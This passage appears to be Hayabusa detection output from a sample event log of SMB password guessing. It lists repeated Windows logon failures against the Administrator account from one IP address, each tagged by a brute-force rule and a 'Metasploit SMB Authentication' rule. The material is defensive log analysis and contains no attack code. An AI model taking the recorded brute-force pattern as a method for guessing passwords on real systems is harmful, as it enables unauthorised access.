Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.387 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n4U5XdQu1YtSat7J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.387 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.438 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MN0OfYE6vPgqyyZN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.438 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.494 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MmfCPIdiTH9gG2qZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.494 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.540 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UtcHAxmfDL9C9uZa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.540 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5TX62kMSJqq0Lv8o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.584 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hA20OdabfW5DMphV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.624 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.665 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ex5Awm2zaVhvAMTH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.665 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I72BOMPQHyyP374g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.724 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.790 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4al5pUa4mKfbL734 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.790 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.830 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UNHH8ESWZ4Rx6K93 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.830 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.873 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5ay3XdxRFXXaD4Ib : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.873 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1PgyG7spUL5glkVh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.920 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6D6PVnrIODwtcIXN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.956 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.999 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cRZgqmQbL3l7KTke : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.999 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.032 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HYGKv2l0s9XZnqkl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.032 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.078 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wX2R08dxiEcRNzcM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.078 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HcN791fdSHwaWuBC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.120 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CRObbkQsykQma2Tn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.153 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.194 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v4UvU7VglbA2p0Z9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.194 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.224 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8ODkwHD0dwGaWhVH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.224 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.272 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5bPQ5GsX1UUXA6ws : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.272 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bvRQ0dVaLawXoo2O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.320 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.359 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BjxwDdOYBDDSJGun : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.359 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: czlTDa1F6edSUBdy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.396 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.436 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mrtgv5HAqRuelEvF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.436 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gfny9Y4SGRZTUXi7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.484 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.527 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hdhoRgnyj4JPpN2j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.527 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.568 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K4Qclkpq5ZMKmdCB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.568 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0GdZSrcqmfGBfAVy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.612 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.655 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XA7eJrFopzOb3YQS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.655 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.689 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2XoSwawv7Ji26GQT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.689 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.729 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 637CaCAc9u7z99X7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.729 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.777 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Y6Pww45qxQjrZ0C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.777 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.822 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5CPU20SF5i6Cdq34 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.822 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HAdaPDVTws6TObvK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.860 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KUCoisntgbX7Mnis : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.901 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MFN0b769jRyDxyAW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.952 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HKr2OCyezvSEsHBZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.993 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.034 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QN3snXM4mwhauvvF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.034 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.163 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J1VpvQgnwXVxRY1u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.163 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.233 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p5bsnUZjpHrbD6kN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.233 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.286 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hpL2QnQ0kKqU40a6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.286 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rpkpNfeTsOeXEsJ0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.369 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.400 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5mBhuTFm02IjipEw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.400 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.443 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yZ908ZOCkSBC7tms : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.443 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.487 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8l7Bct5nMTZHd5mK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.487 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.522 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lRk6e7SrInMDsdMV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.522 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 